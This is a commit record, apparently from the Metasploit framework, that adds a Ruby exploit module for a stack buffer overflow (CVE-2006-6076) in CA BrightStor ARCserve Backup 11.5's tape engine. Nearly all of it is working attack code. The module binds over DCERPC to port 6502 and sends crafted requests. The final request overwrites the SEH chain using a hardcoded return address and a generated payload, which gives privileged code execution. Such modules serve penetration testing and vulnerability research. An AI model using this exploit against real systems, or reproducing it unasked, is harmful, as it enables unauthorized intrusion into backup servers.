added exploit module tape_engine.rb

git-svn-id: file:///home/svn/framework3/trunk@4280 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/brightstor/tape_engine.rb

@@ -0,0 +1,74 @@
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Brightstor::Tape_Engine < Msf::Exploit::Remote
+
+	include Exploit::Remote::DCERPC
+	include Exploit::Remote::Seh
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'CA BrightStor ARCserve Tape Engine Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup
+				11.5. By sending a specially crafted DCERPC request, an attacker could overflow the
+				buffer and execute arbitrary code. 
+			},
+			'Author'         => [ 'MC' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 3906 $',
+			'References'     =>
+				[
+					[ 'CVE', '2006-6076' ],
+					[ 'BID', '21221' ],
+				],
+			'Privileged'     => true,
+			'Payload'        =>
+				{
+					'Space'    => 500,
+					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
+					'StackAdjustment' => -3500,
+				},
+			'Platform' => 'win',
+			'Targets'  =>
+					[ 
+						[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5 } ],
+					],	
+			'DisclosureDate' => 'Nov 21 2006',
+			'DefaultTarget' => 0))
+
+			register_options([ Opt::RPORT(6502) ], self.class)	
+	end
+
+	def exploit
+		connect
+		
+		handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
+		print_status("Binding to #{handle} ...")
+
+		dcerpc_bind(handle)
+		print_status("Bound to #{handle} ...")
+
+		request =  "\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00"
+		request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+
+		dcerpc.call(43, request)
+       
+		filler = "\x10\x09\xf9\x77" + rand_text_english(1132)
+		seh    = generate_seh_payload(target.ret)
+		sploit = filler + seh
+
+		print_status("Trying target #{target.name}...")
+         
+			begin
+				dcerpc_call(38, sploit)
+				rescue Rex::Proto::DCERPC::Exceptions::NoResponse
+			end
+
+		handler
+		disconnect
+	end
+
+end
+end